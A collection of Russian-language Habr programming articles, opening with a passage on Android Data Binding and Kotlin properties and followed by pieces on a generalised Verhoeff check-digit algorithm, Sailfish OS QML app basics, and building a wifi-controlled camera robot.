Если вы не выполните сборку проекта, вы не увидите класс **ActivityMainBinding**, потому что он генерируется во время компиляции. Мы все еще не закончили связывание, мы просто сказали, что у нас есть ненулевая переменная типа **ActivityMainBinding**. Кроме того, как вы можете заметить, я не указал **?** в конце типа **ActivityMainBinding**, и я не инициализировал его. Как это возможно? Модификатор **lateinit** позволяет нам иметь ненулевые переменные, ожидающие инициализации. Подобно **ButterKnife**, инициализация привязки должна выполняться в методе **onCreate**, когда ваш **Activity** будет готов. Кроме того, вы не должны объявлять привязку в методе **onCreate**, потому что вы, вероятно, используете его вне области видимости метода **onCreate**. Наша привязка не должна быть нулевой, поэтому мы используем **lateinit**. Используя модификатор **lateinit**, нам не нужно проверять привязку переменной каждый раз, когда мы обращаемся к ней.
Давайте инициализируем нашу переменную **binding**. Вы должны заменить:
```
setContentView(R.layout.activity_main)
```
на:
```
binding = DataBindingUtil.setContentView(this, R.layout.activity_main)
```
Вот и всё! Вы успешно привязали свои View. Теперь вы можете получить к ним доступ и применить изменения. Например, давайте изменим имя репозитория на «Modern Android Habrahabr Article»:
```
binding.repositoryName.text = "Modern Android Habrahabr Article"
```
Как вы можете видеть, мы можем получить доступ ко всем View (у которых есть **id**, конечно) из **activity\_main.xml** через переменную **binding**. Вот почему **Data Binding** лучше, чем **ButterKnife**.
### Getter'ы и Setter'ы в Котлине
Возможно, вы уже заметили, что у нас нет метода **.setText ()**, как в Java. Я хотел бы остановиться здесь, чтобы объяснить, как геттеры и сеттеры работают в Kotlin по сравнению с Java.
Во-первых, вы должны знать, почему мы используем сеттеры и геттеры. Мы используем их, чтобы скрыть переменные класса и разрешить доступ только с помощью методов, чтобы мы могли скрыть элементы класса от клиентов класса и запретить тем же клиентам напрямую изменять наш класс. Предположим, что у нас есть класс **Square** в Java:
```
public class Square {
private int a;
Square(){
a = 1;
}
public void setA(int a){
this.a = Math.abs(a);
}
public int getA(){
return this.a;
}
}
```
Используя метод **setA ()**, мы запрещаем клиентам класса устанавливать отрицательное значение стороне квадрата, оно не должно быть отрицательным. Используя этот подход, мы должны сделать **a** приватным, поэтому его нельзя установить напрямую. Это также означает, что клиент нашего класса не может получить **a** напрямую, поэтому мы должны предоставить getter. Этот getter возвращает **a**. Если у вас есть 10 переменных с аналогичными требованиями, вам необходимо предоставить 10 геттеров. Написание таких строк — это скучная вещь, в которой мы обычно не используем наш разум.
Kotlin облегчает жизнь нашего разработчика. Если вы вызываете
```
var side: Int = square.a
```
это не означает, что вы получаете доступ к **a** непосредственно. Это то же самое, что
```
int side = square.getA();
```
в Java. Причина заключается в том, что Kotlin автоматически генерирует геттеры и сеттеры по умолчанию. В Котлине, вы должны указать специальный сеттер или геттер, только если он у вас есть. В противном случае, Kotlin автогенерирует его для вас:
```
var a = 1
set(value) { field = Math.abs(value) }
```
**field**? Что это? Чтобы было ясно, давайте посмотрим на этот код:
```
var a = 1
set(value) { a = Math.abs(value) }
```
Это означает, что вы вызываете метод **set** внутри метода **set**, потому что нет прямого доступа к свойству в мире Kotlin. Это создаст бесконечную рекурсию. Когда вы вызываете **a = что-то**, он автоматически вызывает метод set.
Надеюсь, теперь понятно, почему вы должны использовать ключевое слово **field** и как работают сеттеры и геттеры.
Вернемся к нашему коду. Я хотел бы показать вам ещё одну замечательную особенность языка Kotlin, **apply**:
```
class MainActivity : AppCompatActivity() {
lateinit var binding: ActivityMainBinding
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
binding = DataBindingUtil.setContentView(this, R.layout.activity_main)
binding.apply {
repositoryName.text = "Medium Android Repository Article"
repositoryOwner.text = "Fleka"
numberOfStarts.text = "1000 stars"
}
}
}
```
**apply** позволяет вам вызывать несколько методов на одном экземпляре.
Мы все еще не закончили привязку данных, есть ещё много дел. Давайте создадим класс модели пользовательского интерфейса для репозитория (этот класс модели пользовательского интерфейса для репозитория GitHub хранит данные, которые должны отображаться, не путайте их с паттерном **Repository**). Чтобы сделать класс Kotlin, вы должны перейти в **New -> Kotlin File / Class**:
```
class Repository(var repositoryName: String?,var repositoryOwner: String?,var numberOfStars: Int? ,var hasIssues: Boolean = false)
```
В Kotlin первичный конструктор является частью заголовка класса. Если вы не хотите предоставлять второй конструктор, это всё! Ваша работа по созданию класса завершена здесь. Нет параметров конструктора для назначений полей, нет геттеров и сеттеров. Целый класс в одной строке!
Вернитесь в класс **MainActivity.kt** и создайте экземпляр класса **Repository**:
```
var repository = Repository("Habrahabr Android Repository Article",
"Fleka", 1000, true)
```
Как вы можете заметить, для построения объекта не нужно ключевого слова **new**.
Теперь перейдем к **activity\_main.xml** и добавим тег **data**:
```
```
Мы можем получить доступ к переменной **repository**, которая является типом **Repository** в нашем макете. Например, мы можем сделать следующее в **TextView** с идентификатором **repository\_name**:
```
android:text="@{repository.repositoryName}"
```
В **TextView** **repository\_name** будет отображаться текст, полученный из свойства **repositoryName** переменной **repository**. Остается только связать переменную репозитория от xml до **repository** из **MainActivity.kt**.
Нажмите **Build**, чтобы сгенерировать библиотеку привязки данных для создания необходимых классов, вернитесь в **MainActivity** и добавить две строки:
```
binding.repository = repository
binding.executePendingBindings()
```
Если вы запустите приложение, вы увидите, что в **TextView** появится «Habrahabr Android Repository Article». Хорошая функция, да? :)
Но что произойдёт, если мы сделаем следующее:
```
Handler().postDelayed({repository.repositoryName="New Name"}, 2000)
```
Отобразится ли новый текст через 2 секунды? Нет, не отобразится. Вы должны заново установить значение **repository**. Что-то вроде этого будет работать:
```
Handler().postDelayed({repository.repositoryName="New Name"
binding.repository = repository
binding.executePendingBindings()}, 2000)
```
Но это скучно, если нужно будет делать это каждый раз, когда мы меняем какое-то свойство. Существует лучшее решение, называемое **Property Observer**.
Давайте сначала опишем, что такое паттерн **Observer**, нам понадобится это в разделе **rxJava**:
Возможно, вы уже слышали об [androidweekly.net](http://androidweekly.net/). Это еженедельный информационный бюллетень об Android разработке. Если вы хотите его получить, вам необходимо подписаться на него, указав свой адрес электронной почты. Позже, если вы захотите, вы можете остановить отказаться от подписки на своем сайте.
Это один из примеров паттерна **Observer** / **Observable**. В данном случае, Android Weekly — наблюдаемый (**Observable**), он выпускает информационные бюллетени каждую неделю. Читатели — это наблюдатели (**Observers**), они подписываются на него, ждут новых выпусков, и, как только они получают её, они читают её, и если некоторые из них решат, что им это не нравится, он / она может прекратить следить.
**Property Observer**, в нашем случае, представляет собой XML-макет, который будет прослушивать изменения в экземпляре **Repository**. Таким образом, **Repository** является **наблюдаемым**. Например, как только свойство **name** класса **Repository** изменяется в экземпляре класса, xml должен обновится без вызова:
```
binding.repository = repository
binding.executePendingBindings()
```
Как сделать это с помощью библиотеки привязки данных? Библиотека привязки данных предоставляет нам класс **BaseObservable**, который должен быть реализован в классе **Repository**:
```
class Repository(repositoryName : String, var repositoryOwner: String?, var numberOfStars: Int?
, var hasIssues: Boolean = false) : BaseObservable(){
@get:Bindable
var repositoryName : String = ""
set(value) {
field = value
notifyPropertyChanged(BR.repositoryName)
}
}
```
**BR** — это класс, который автоматически генерируется один раз, когда используется аннотация **Bindable**. Как вы можете видеть, как только новое значение установлено, мы узнаём об этом. Теперь вы можете запустить приложение, и вы увидите, что имя репозитория будет изменено через 2 секунды без повторного вызова функции **executePendingBindings ()**.
Для этой части это всё. В следующей части я напишу о паттерне **MVVM**, паттерне **Repository** и об **Android Wrapper Managers**. Вы можете найти весь код [здесь](https://github.com/mladenrakonjac/ModernAndroidApp). Эта статья охватывает код до [этого](https://github.com/mladenrakonjac/ModernAndroidApp/commit/0add63eb710a71f44b294e2af5d289c47a89a39a) коммита. | https://habr.com/ru/post/341602/ | null | ru | null |
# Алгоритм Верхуффа для произвольной чётной системы счисления
 Иногда возникает задача защитить строку-идентификатор от случайных ошибок, сделанных человеком. Например, номер платёжной карты. Для этого к строке добавляется вычисленная специальным образом контрольная цифра, и когда человек вводит этот номер, можно сделать первичную проверку на ошибки без обращения к базе данных. Самый простой вариант — добавить остаток от деления суммы всех цифр на 10, в таком случае искажение любой одной цифры (в том числе контрольной) будет легко обнаружить, и такая строка не пройдёт проверку. Но некоторые другие ошибки такая контрольная сумма пропустит, например, перестановку двух цифр местами, а это тоже довольно распространённая ошибка.
Для защиты номеров банковских карт выбран несколько более сложный алгоритм, [алгоритм Луна](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%9B%D1%83%D0%BD%D0%B0). В нём добавлена одна модификация: цифры, стоящие на чётных местах, перед суммированием умножаются на 2 (а если получается больше девяти, то вычитается 9). Это позволяет словить помимо искажения любой цифры большинство (хотя и не все) перестановок соседних цифр.
Существуют ли алгоритмы, позволяющие обнаружить любые перестановки соседних цифр (помимо искажения любой одиночной цифры)? Да, существуют, хотя они почему-то не очень распространены. Это [алгоритм Верхуффа](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%92%D0%B5%D1%80%D1%85%D1%83%D1%84%D1%84%D0%B0), основанный на диэдральных группах, и [алгоритм Дамма](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%94%D0%B0%D0%BC%D0%BC%D0%B0), который основан на квазигруппах Дамма. Звучит пугающе, но на самом деле там нет ничего сложного (для тех, кто знаком с понятием «группа»).
Якоб Верхуфф (Jacobus Verhoeff), нидерландский математик и скульптор (на фотографии одна из его скульптур), предложил алгоритм на основании [диэдральных групп](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%8D%D0%B4%D1%80%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%B3%D1%80%D1%83%D0%BF%D0%BF%D0%B0). Диэдральная группа — это группа симметрий правильного N-угольника, включающая как вращения, так и осевые симметрии. Такая группа не является коммутативной: если правильный многоугольник с перенумерованными вершинами сначала симметрично отобразить, а потом повернуть, то в большинстве случаев получится не то же самое, что если сначала повернуть, а потом отобразить. А поэтому при последовательном «умножении» цифр исходной строки, используя операцию диэдральной группы, т.е. последовательно применяя операции поворота и симметричного отображения над правильным N-угольником, мы получим защиту от большинства перестановок. От большинства, но всё-таки опять не от всех. Верхуфф предложил усовершенствовать этот алгоритм, и перед умножением каждую цифру заменять на другую по специальной таблице, в зависимости от места цифры в строке. Таблица получена из одной перестановки путём последовательного её применения к предыдущему результату, и через 8 таких применений мы приходим к исходному порядку, поэтому можно заранее построить таблицу 8x10 и брать значение оттуда. Некоторые из таких перестановок позволяют определять все 100% возможных ошибок в порядке соседних цифр исходной строки, то есть это является полным и корректным решением задачи нахождения контрольной цифры, защищающей от этих двух типов ошибок. Судя по всему, удачную перестановку Верхуфф нашёл методом случайного подбора, их таких существует довольно много.
Вопрос о том, существуют ли группы, позволяющие находить любые перестановки соседних цифр без дополнительных модификаций, долгое время оставался открытым. И уже в XXI веке, в 2004 году немецкий математик Michael Damm доказал существование таких групп, они называются слабо полностью антисимметричными квазигруппами (weakly totally anti-symmetric quazigroup). Я не полностью разобрался в способе их построения, желающие могут попробовать это сделать самостоятельно по [его публикации](https://www.sciencedirect.com/science/article/pii/S0012365X06004225#!). И хотя при беглом просмотре она не выглядит такой уж сложной (даже странно, что вопрос оставался открытым так долго), для практической реализации есть более простой способ: воспользоваться [готовыми таблицами](http://www.md-software.de/math/DAMM_Quasigruppen.txt).
Теперь перейдём к следующему и основному вопросу: что делать, если нужно защитить не строку десятичных цифр, а строку произвольных символов, например, 16-ричных или base64 или base58? То есть, решить задачу не для частного случая десятичной системы счисления, а в общем виде.
Алгоритм Луна расширяется на этот случай без проблем, но это не так интересно, потому что он находит не все перестановки соседних цифр. Способ построения антисимметричной квазигруппы произвольного размера не вполне понятен. Для алгоритма Верхуффа диэдральная группа размера N строится несложно, но ещё нужна таблица перестановок, которую тоже непонятно, где взять (и даже непонятно, существует ли она). Вот исследованием последнего вопроса я и занялся.
Гугление ничего не дало, кроме отдельных попыток и применения «достаточно хороших» решений (т.е. обнаруживающих почти все перестановки) для N=64.
Пожалуй, не буду описывать все испробованные способы поиска нужной перестановки, которые не дали результата. Я пытался решить частную задачу: найти перестановку для base64 и base58, дающую защиту от изменения порядка соседних цифр. Скажу лишь, что попытки найти такую перестановку методом случайного или последовательного перебора с разными вариантами оптимизации ни к чему не привели. Но в итоге я нашёл общее решение для любого чётного n.
Перестановка такая:
`0, N-1 .. N/2+1, 1 .. N/2`
Например, для N = 10 это будет:
`0, 9, 8, 7, 6, 1, 2, 3, 4, 5`
Эта перестановка обладает ещё одним замечательным свойством: у неё период всегда (для N >= 8) равен 12, что позволяет заранее построить таблицу 12xN и брать цифру оттуда.
[Вот здесь пример реализации предлагаемого расширения алгоритма Верхуффа для base58](https://github.com/pgul/verhoeff-demo) (строго говоря, это уже не алгоритм Верхуффа, а его обобщение). Не полноценная либа, а просто утилитка, так сказать, proof of concept.
Доказательство того, что эта перестановка обладает нужным свойством, и что у неё период 12, я предоставлю как-нибудь потом. На полях слишком мало места, чтобы поместить его здесь. | https://habr.com/ru/post/435446/ | null | ru | null |
# Разработка для SailfishOS: основы
Здравствуйте! На прошлой неделе я написал о том [как начать разрабатывать под мобильную платформу Sailfish OS](https://habrahabr.ru/post/305510/). Сегодня же я хотел бы рассказать о жизненном цикле приложений Sailfish, о создании страниц приложения и управления ими, а также о некоторых специфических особенностях мобильных приложений, которые следует учитывать при разработке под Sailfish OS, в частности управление ориентацией устройства.
В состав SailfishOS SDK (работа с которым была описана в прошлой статье) входит Sailfish Silica — QML модуль, использующийся для создания Sailfish приложений. Данный модуль содержит QML компоненты, которые выглядят и управляются в соответствии со стандартами приложений для Sailfish. Помимо прочего, Sailfish Silica так же содержит инструменты для создания специфических элементов Sailfish приложений, таких как, например, *Cover Page*, которые были немного затронуты в [прошлой статье](https://habrahabr.ru/post/305510/). Для того, чтобы воспользоваться модулем Sailfish Silica и его инструментами и компонентами, необходимо просто импортировать данный модуль в QML файлы кода приложения. Это будет показано в примере чуть позже.
#### ApplicationWindow
QML основной любого Sailfish приложения является компонент *ApplicationWindow*, который описывает окно приложения и содержит пользовательский интерфейс приложения и вообще является основной и обязательной входной точкой загрузки Sailfish приложения. Экраны же приложения реализуются при помощи компонента *Page*. При этом *ApplicationWindow* содержит свойство *initialPage*, позволяющее установить начальный экран приложения. Таким образом минимальное приложение для платформы Sailfish будет выглядеть следующим образом:
```
import QtQuick 2.2
import Sailfish.Silica 1.0
ApplicationWindow {
initialPage: Component {
Page {
Label {
text: "Привет, Хабр!"
anchors.centerIn: parent
}
}
}
}
```
Данное приложение будет отображать одну простую страницу с надписью *Привет, Хабр!* посередине. Не обязательно описывать саму страницу прямо в описании свойства, можно просто передать туда id страницы или URL файла, где описана страница.
#### Page Stack
Помимо начальной страницы, *ApplicationWindow* так же содержит свойство *pageStack* — содержащее компонент *Page Stack*, позволяющий управлять стеком экранов (или страниц) приложения. В примере выше, *Page Stack* состоит всего из одной страницы, которая была положена на этот стек с помощью свойства *initialPage*. Добавить страницу на верх стека страниц (и, соответственно, отобразить ее на экране) можно с помощью метода *push()*, передавая ему в качестве аргумента путь до QML файла со страницей либо id этой страницы. Расширим наш пример, добавив под надпись кнопку, при нажатии на которую будет происходить переход на следующую страницу (будем предполагать, что код этой страницы содержится в файле *SecondPage.qml*):
```
ApplicationWindow {
initialPage: initialPage
Page {
id: initialPage
Label {
id: helloLabel
text: "Привет, Хабр!"
anchors.centerIn: parent
}
Button {
text: "Следующий"
anchors.top: helloLabel.bottom
anchors.horizontalCenter: parent.horizontalCenter
onClicked: pageStack.push(Qt.resolvedUrl("SecondPage.qml"))
}
}
}
```
В метод *push()* так же, вместо одной страницы, можно передать массив, содержащий несколько страниц. В таком случае все эти страницы будут добавлены на стек. У данного метода есть еще два опциональных аргумента. Первый — это параметры страницы, а второй — тип операции, определяющий нужно ли использовать анимацию при переходе на заданную страницу. Он может быть одним из двух значений: *PageStackAction.Animated* или *PageStackAction.Immediate*. Данный аргумент так же присутствует и во всех других методах *Page Stack*, которые отвечают за смену текущей страницы (например, метод *pop*, который будет рассмотрен далее). По умолчанию все переходы осуществляются с анимацией, что удобно. Если по какой-то причине анимация при переходе не нужна, можно вызвать метод следующим образом:
```
pageStack.push(Qt.resolvedUrl("SecondPage.qml"), { }, PageStackAction.Immediate)
```
Для того, чтобы вернуться на предыдущую страницу нужно на компоненте *Page Stack* вызвать метод *pop()*. Этот метод уберет со стека самую верхнюю страницу и, соответственно, перейдет на страницу назад. Опционально методу можно так же указать некоторую страницу, которая уже есть на стеке. В этом случае, метод уберет со стека все страницы, расположенные на стеке выше указанной. Здесь так же стоит отметить, что переход назад в платформе Sailfish OS реализован с помощью горизонтального свайпа от левого края экрана, однако в Sailfish Silica данный функционал уже реализован и при данном жесте автоматически вызывается метод *pop()*, что удобно, поскольку разработчику не нужно прилагать усилий для реализации стандартного функционала.
Кроме вышеописанных методов, *Page Stack* так же предоставляет такие свойства как *depth* (количество страниц в стеке) и *currentPage* (текущая страница), а также такие методы, как:
* *replace()* — заменяет текущую верхнюю страницу на стеке,
* *pushAttached()* — добавляет указанную страницу на верх стека, но не осуществляет переход к ней (пользователь может перейти к данной странице с помощью горизонтального свайпа от правого края экрана),
* *navigateForward()* и *navigateBack()* — осуществляют переход на, соответственно, следующую или предыдущую страницу в стеке относительно текущей, при этом не изменяя сам стек.
Конечно, выше описаны не все методы и свойства компонента *Page Stack*. Однако, основные, которые могут пригодиться в первую очередь, я попытался описать. Подробнее про компонент можно прочитать в [официальной документации](https://sailfishos.org/develop/docs/silica/qml-sailfishsilica-sailfish-silica-pagestack.html/).
#### Dialog
Диалоги в Sailfish OS представляют собой те же самые страницы. Однако, предназначены они для того, чтобы отобразить пользователю некоторые данные, с которыми он может согласиться или не согласиться. Причем сделать он может это как нажатием на кнопки, так и свайпом влево (согласиться) или вправо (отказаться). Поскольку, диалог представляет собой особую страницу, то и в Sailfish Silica компонент *Dialog* «наследуется» от компонента *Page*. Заменим в предыдущем примере переход на следующую страницу на показ минимального диалога. Для этого опишем диалог в нашем *ApplicationWindow*:
```
ApplicationWindow {
initialPage: initialPage
Page {
id: initialPage
Label {
id: helloLabel
text: "Привет, Хабр!"
anchors.centerIn: parent
}
Button {
text: "Следующий"
anchors.top: helloLabel.bottom
anchors.horizontalCenter: parent.horizontalCenter
onClicked: pageStack.push(dialog)
}
}
Dialog {
id: dialog
Label {
text: "Я - диалог"
anchors.centerIn: parent
}
}
}
```
Даже показ диалога осуществляется добавлением его на стек страниц. Если запустить приложение и нажать на кнопку, то мы увидим следующее:
Как видите, внешне данный минимальный диалог ничем не отличается от обычной страницы. Однако, его поведение отличается: при свайпе влево или вправо (или нажатии на белые области в верхнем левом или нижнем углу) диалог закроется и будет показана начальная страница приложения. При этом в зависимости от направления свайпа вызовется соответствующий сигнал диалога (*onRejected* или *onAccepted*). Это можно проверить, добавив в диалог обработчики данных сигналов, которые будут изменять текст на главной странице:
```
onAccepted: helloLabel.text = "Согласился"
onRejected: helloLabel.text = "Отказался"
```
Так же на диалоге можно с помощью компонента *DialogHeader* добавить стандартные кнопки «Cancel» и «Accept» вверху диалога. При этом для отображения данных кнопок достаточно просто добавить пустой компонент. Опционально можно так же указать свойство *title*, которое определит текст, который будет расположен под кнопками. Данный текст обычно используется для отображения вопроса к пользователю. Добавим *DialogHeader* в диалог из примера выше:
```
Dialog {
id: dialog
DialogHeader {
title: "Простой диалог"
}
Label {
text: "Я - диалог"
anchors.centerIn: parent
}
onAccepted: helloLabel.text = "Согласился"
onRejected: helloLabel.text = "Отказался"
}
```
Теперь он выглядит так:
Следует отметить, что при запуске примера выше вы можете увидеть следующие предупреждения:
```
[W] unknown:189 - file:///usr/lib/qt5/qml/Sailfish/Silica/DialogHeader.qml:189: TypeError: Cannot read property 'backIndicatorDown' of null
[W] unknown:194 - file:///usr/lib/qt5/qml/Sailfish/Silica/DialogHeader.qml:194: TypeError: Cannot read property 'backIndicatorDown' of null
[W] unknown:247 - file:///usr/lib/qt5/qml/Sailfish/Silica/DialogHeader.qml:247: TypeError: Cannot read property 'forwardIndicatorDown' of null
[W] unknown:242 - file:///usr/lib/qt5/qml/Sailfish/Silica/DialogHeader.qml:242: TypeError: Cannot read property 'forwardIndicatorDown' of null
```
На функциональности они никак не сказываются, но в интернете найти причину данных предупреждений мне не удалось. Похоже, что это небольшая недоработка, поскольку Sailfish Silica все еще находится в разработке. Будем надеяться, что в будущем данные недочеты будут исправлены.
Подробнее о *Dialog* можно почитать в [официальной документации](https://sailfishos.org/develop/docs/silica/qml-sailfishsilica-sailfish-silica-dialog.html/).
#### Жизненный цикл приложений и Cover
Жизненный цикл приложений для Sailfish OS весьма прост. Поскольку в платформе реализована полноценная многозадачность, приложение может находится в одном из трех состояний: либо оно не запущено вовсе, либо оно работает в фоне (background), либо работает в активном режиме (foreground). При этом в активном режиме приложение развернуто во весь экран, тогда как в фоновом режиме приложение представлено своей миниатюрой (называемой cover) на главном экране системы (об этом было немного написано в [предыдущей статье](https://habrahabr.ru/post/305510/)). Определить в каком именно состоянии находится приложение можно с помощью свойства *Qt.application.state*. Если приложение находится в фоне, данное свойство принимает значение *Qt.ApplicationInactive*. В противном случае — *Qt.ApplicationАctive*. Состояние приложения необходимо знать и использовать, например, для остановки тяжелых вычислительных задач или анимаций, когда приложение находится в фоне, чтобы не тратить ресурсы системы.
Когда приложение находится в фоне, на главном экране отображается его миниатюра — cover. Описать этот cover в коде приложения можно с помощью компонента *Cover*. По умолчанию в приложении уже установлен cover, который выглядит следующим образом:
Установить свой cover можно с помощью свойства *cover* компонента *ApplicationWindow*. Переделаем пример выше так, чтобы при нажатии на кнопки в диалоге менялся текст не на главном экране приложения, а на его cover:
```
ApplicationWindow {
initialPage: initialPage
cover: cover
Page {
id: initialPage
// Описание главной страницы приложения...
}
Cover {
id: cover
transparent: true
Label {
id: coverLabel
text: "Привет, Хабр!"
anchors.centerIn: parent
}
}
Dialog {
id: dialog
DialogHeader {
title: "Простой диалог"
}
Label {
text: "Я - диалог"
anchors.centerIn: parent
}
onAccepted: coverLabel.text = "Согласился"
onRejected: coverLabel.text = "Отказался"
}
}
```
Конечно, данный пример призван только ознакомить читателей с работой с компонентом *Cover*. В реальном приложении cover представляет само приложение на главном экране системы. Поэтому он должен, во первых, представлять приложение так, чтобы пользователь при первом взгляде мог узнать, что это миниатюра данного конкретного приложения. Во-вторых, cover должен содержать минимальное количество самой важной информации, поскольку все детали пользователь может увидеть открыв само приложение. И, наконец, в-третьих, как и показано в примере выше, cover приложения должен изменяться, вслед за состоянием самого приложения и его данными.
Sailfish OS так же позволяет cover выполнять ресурсоемкие задачи: анимации, вычисления и т.д. Однако, стоит отметить, что поскольку приложение может находится в фоне вместе с другими приложениями и его миниатюра отображена на ряду с остальными, то задачи эти не должны нагружать систему постоянно и должны выполняться периодически. Например, погодное приложение должно обновлять свой cover только когда с сервера приходят новые данные о погоде. Кроме того, не стоит выполнять такие задачи, когда миниатюра не видна пользователю (например, когда закрыт главный экран). Для этого можно использовать свойство *status*, которое принимает одно из следующих значений:
* *Cover.Inactive* — миниатюра не видна и пользователь не может с ней взаимодействовать,
* *Cover.Active* — миниатюра видна и пользователь может с ней взаимодействовать,
* *Cover.Activating* — миниатюра переходит в статус *Cover.Active*,
* *Cover.Deactivating* — миниатюра переходит в статус *Cover.Inactive*.
Помимо этого cover так же может предоставлять пользователю возможность управления приложением непосредственно с самой миниатюры. Для этого с помощью компонента *CoverActionList*, внутри которого определяются компоненты *CoverAction*, можно добавить на миниатюру кнопки. Например, для музыкального плеера это могут быть кнопки остановки и воспроизведения композиции, а также кнопки перехода на следующий или предыдущий трек. Добавим кнопку управления на миниатюру из нашего примера. Эта кнопка будет менять надпись на нашей миниатюре:
```
Cover {
id: cover
transparent: true
Label {
id: coverLabel
text: "Привет, Хабр!"
anchors.centerIn: parent
}
CoverActionList {
CoverAction {
iconSource: "image://theme/icon-cover-next"
onTriggered: coverLabel.text = "Следующий!"
}
}
}
```
Подробнее про *Cover* можно прочитать в [официальной документации](https://sailfishos.org/develop/docs/silica/qml-sailfishsilica-sailfish-silica-cover.html/).
#### Ориентация устройства
Как и другие мобильные устройства, устройства на платформе Sailfish OS поддерживают две возможных ориентации экрана: портретную и ландшафтную. Для того, чтобы узнать текущую ориентацию устройства можно воспользоваться свойствами *isPortrait* и *isLandscape* компонента *Page*, либо свойством *orientation*, которое принимает одно из следующих значений: *Orientation.Portrait*, *Orientation.Landscape*, *Orientation.PortraitInverted* или *Orientation.LandscapeInverted*. Так же, если важно проверить например, что устройство находится в портретной ориентации, а инвертировано оно или нет — не важно, то можно сравнить значение свойства *orientation* с маской *Orientation.PortraitMask*. Для ландшафтного режима существует аналогичная маска *Orientation.LandscapeMask*.
Если необходимо, чтобы приложение работало только в определенных ориентациях, то можно воспользоваться свойством *allowedOrientations* компонента *ApplicationWindow*, которому можно указать, в каких ориентациях должно работать приложение. В качестве значений можно указывать те же значения, что возвращает свойство *orientation*, а так же маски *Orientation.LandscapeMask*, *Orientation.PortraitMask* или *Orientation.All*. Значение по умолчанию свойства *allowedOrientations* зависит от конкретного устройства, поэтому если для приложения важно, что оно должно работать в определенных ориентациях (или в любых), то лучше указать это явно. Кроме того, это свойство можно указать и у компонента *Page*, тогда правило разрешенных ориентаций будет применяться только к конкретной странице.
На этом все. Однако, хотелось бы отметить, что не смотря на то, что в примерах данной статьи весь код был описан в одном файле, при написании реальных приложений лучше всего описывать каждую страницу и cover в отдельном QML файле. Это ускорит запуск приложения, поскольку предотвратит компиляцию всех QML компонентов при старте приложения.
В следующей статье я расскажу о других компонентах, входящих в состав Sailfish Silica.
Автор статьи: Денис Лаурэ | https://habr.com/ru/post/306188/ | null | ru | null |
# Самодельный бот с камерой и управлением по wifi
Прочитав опубликованную статью [Однажды фанера, atmega, да малина](http://habrahabr.ru/post/175889/), я решил поделиться своей поделкой, которая доступна (не сложна) для повторения.
При создании бота ставились следующие задачи:
* Управление ботом по беспроводной сети
* Наличие онлайн камеры
* Удобство программирования
##### Бортовой компьютер
Для бортового компьютера был выбрал двухъядерный андроидный миникомпьютер UG-802, который имелся под рукой. В качестве операционной системы — полноценный линукс дистрибутив, сборка Ubuntu от Linaro.
Для начала нужно было чтото сделать с проблемным встроенным wifi адаптером, который упорно не желал запускаться под пересобранным ядром. Кардинальным решением было выпаять его и установить второй USB хост коннектор, в который можно будет воткнуть нормальный usb wifi (или даже 3G модем). Сказано — сделано, плата встроенного wifi была отпаяна и вместо нее напаян второй хост.
Первая проверка внутреннего USB host-а:
Окончательный вид установленного USB host-а:
##### Колесная платформа
Когда-то я заказывал платформу Ardubot и колеса с моторами к ней, но руки до нее не доходили. Не долго думая, было решено ей воспользоваться. На нее была смонтирована плата преобразователя с 12 в 5 вольт, выдранная из специально купленной в магазине автомобильной зарядки (используемая в ней микросхема имеет более широкий диапазон входного напряжения). Литий-полимерный аккумулятор на 11.1В/1250мА уже имелся от разбитой, в прошлом, модели самолета. Плату Ardubot-а пришлось подвергнуть легкой модификации из-за особенностей платы управления (дорожка отрезана от D9 и запаяна на D7). Так же был установлен усб разъем, на который выведено только 5 вольтовое питание:
Сзади видны провода идущие от энкодеров колес:
##### Управление двигателями, светом
Изначально платформа Ardubot была расчитана на совместное использование с Arduino, почему бы этим не воспользоваться. Вместо Ардуино я взял OLIMEX PIC32-PINGUINO-MX220, совместимый по разъемам. Выяснилась неприятная мелочь — один из пинов управления мотором был использован для светодиода на плате PINGUINO. Все бы ничего, но этот светодиод мигал в режиме загрузки фирмвари, заодно проворачивая колесо. Поэтому пришлось перепаять дорожку, о чем было написано выше.
Для простоты отладки и универсальности, плата управления подключается через USB. Прошивка PINGUINO эмулирует CDC-ACM устройство, видимое для пользователя как последовательный порт /dev/ttyACM0. Отправляемые команды управления выглядят так:
| | |
| --- | --- |
| MOTOR X Y | X — номер мотора, Y — состояние |
| LIGHT X Y | X — номер лампы, Y — состояние |
| CLEAR | сбросить все в состояние по умолчанию |
| COMMIT | Применить |
Нумерация моторов: 0 — левый, 1 — правый.
Состояния: 0 — остановлен, 1 — вперед, -1 — назад.
Например, чтобы включить задний светодиод на платформе, достаточно из консоли отправить команды:
```
echo "LIGHT 1 1" > /dev/ttyACM0
echo "COMMIT" > /dev/ttyACM0
```
Чтобы поехать вперед:
```
echo "MOTOR 0 1" > /dev/ttyACM0
echo "MOTOR 1 1" > /dev/ttyACM0
echo "COMMIT" > /dev/ttyACM0
```
##### Камера и хаб
Один USB порт бортового (ботового) компьютера используется wifi адаптером, в другой плата управления платформой. Куда подключить камеру? Выход есть — использовать хаб. В одном из компьютерных магазинов была куплена одна из самых дешевых веб камер и USB хаб подозрительного вида.
##### Размещение электроники
В процессе поиска из чего слепить бота, была удачно найдена пластиковая коробочка-упаковка из под IPOD TOUCH, в которую идеально влазил UG802 и разобранный USB хаб. Для трех коннекторов хаба в боку был сделан вырез. В четвертый (внутренний) коннектор воткнулась камера (с предварительно укороченным кабелем). В крышке также был сделан вырез под разъем USB на UG802, который не давал ей закрыться:
Все это дело прикрутилось сверху над PINGUINO-MX220 — платой управления платформой:
##### Окончательная сборка и тестирование
Наступило время собрать все в одно целое:
Все проводки были воткнуты куда им положено — PINGUINO в хаб, UG802 питание в USB коннектор на Ардуботе:
Бортовой компьютер настроен для доступа по ssh, весь нужный инструментарий для работы (компилятор, библиотеки, mc) установлены из репозитория Linaro. Заходи, пиши, компилируй и отлаживай прямо на нем. Красота!
